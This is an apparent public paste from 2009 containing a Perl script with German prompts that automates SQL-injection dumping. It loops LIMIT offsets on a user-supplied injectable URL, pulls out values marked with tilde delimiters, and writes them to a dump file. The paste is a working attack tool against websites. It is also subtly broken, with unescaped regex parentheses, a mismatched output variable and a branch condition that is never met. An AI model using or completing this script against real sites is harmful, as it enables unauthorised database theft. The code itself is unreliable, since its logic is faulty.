Public paste
Undefined
By: Guest | Date: Apr 24 2009 10:24 | Format: None | Expires: never | Size: 861 B | Hits: 493

  1. use LWP::Simple;
  2.  
  3. my $counter = 31304;
  4. my $limit = 10;
  5. my $website = "";
  6.  
  7. print "Wieviele tables ausgeben? : ";
  8. my $limit = <STDIN>;
  9. $limit = $limit + $counter;
  10. print "Bitte Website mit injection eingeben (Systax siehe readme.html) ? : ";
  11. my $website = <STDIN>;
  12.  
  13.                 $website =~ s/concat(/concat(0x7E,/;
  14.                 $website =~ s/)/,0x7E)/;
  15.  
  16.  
  17.  
  18. while( $counter <= $limit ) {
  19.         if( $counter == 31131) {
  20.                 $website =~ s/limit+31304,1/limit+$counter,1/;
  21.         }
  22.         else {
  23.                 my $tausch = $counter-1;
  24.                 $website =~ s/limit+$tausch,1/limit+$counter,1/;
  25.         }
  26.         my $stWebsite = get($website);
  27.     my @data = split(/~/, $stWebsite);
  28.     my $ausgabe = @data[1];
  29.     undef @data;
  30.     print "$counter => $ausgaben";
  31.         open FILE, ">> dump_output.txt" or die $!;
  32.         print FILE "$counter => $ausgaben";
  33.         close(FILE);
  34.         $counter++;
  35. }
  36.  
  37. system("pause");
Latest pastes
1 hours ago
6 days ago
17 days ago
23 days ago
24 days ago